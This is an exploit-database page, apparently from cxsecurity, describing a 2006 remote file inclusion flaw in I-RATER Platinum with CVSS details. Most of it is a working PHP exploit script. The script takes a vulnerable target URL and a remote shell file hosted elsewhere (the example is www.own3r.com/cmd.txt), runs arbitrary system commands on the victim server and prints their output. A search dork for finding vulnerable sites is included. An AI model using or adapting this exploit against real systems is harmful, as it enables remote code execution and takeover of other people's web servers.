I-RATER Platinum Remote File Inclusion

2006.05.02
Credit: AminRayden
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

<?php /* I-RATER Platinum Remote File Inclusion exploit Cod3d by R@1D3N Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team Site:http://www.Aria-security.net Dork:"Powered by I-RATER PLATINUM" example: target:http://www.site.com/admin/config_settings.tpl.php?include_path= cmdshell:http://www.own3r.com/cmd.txt? */ $cmd = $_POST["cmd"]; $target = $_POST["target"]; $cmdshell = $_POST["cmdshell"]; $form= "<form method="post" action="".$PHP_SELF."">" ."target:<br><input type="text" name="target" size="90" value="".$target.""><br>" ."cmdshell:<br><input type="text" name="cmdshell" size="90" value="".$cmdshell.""><br>" ."cmd:<br><input type="text" name="cmd" size="90" value="".$cmd.""><br>" ."<input type="submit" value="Submit" name="submit">" ."</form><HR WIDTH="650" ALIGN="LEFT">"; if (!isset($_POST['submit'])) { echo $form; }else{ $file = fopen ("test.txt", "w+"); fwrite($file, "<?php system("echo ++BEGIN++"); system("".$cmd.""); system("echo ++END++"); ?>"); fclose($file); $file = fopen ($target.$cmdshell, "r"); if (!$file) { echo "<p>Unable to get output.n"; exit; } echo $form; while (!feof ($file)) { $line .= fgets ($file, 1024)."<br>"; } $tpos1 = strpos($line, "++BEGIN++"); $tpos2 = strpos($line, "++END++"); $tpos1 = $tpos1+strlen("++BEGIN++"); $tpos2 = $tpos2-$tpos1; $output = substr($line, $tpos1, $tpos2); echo $output; } ?>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top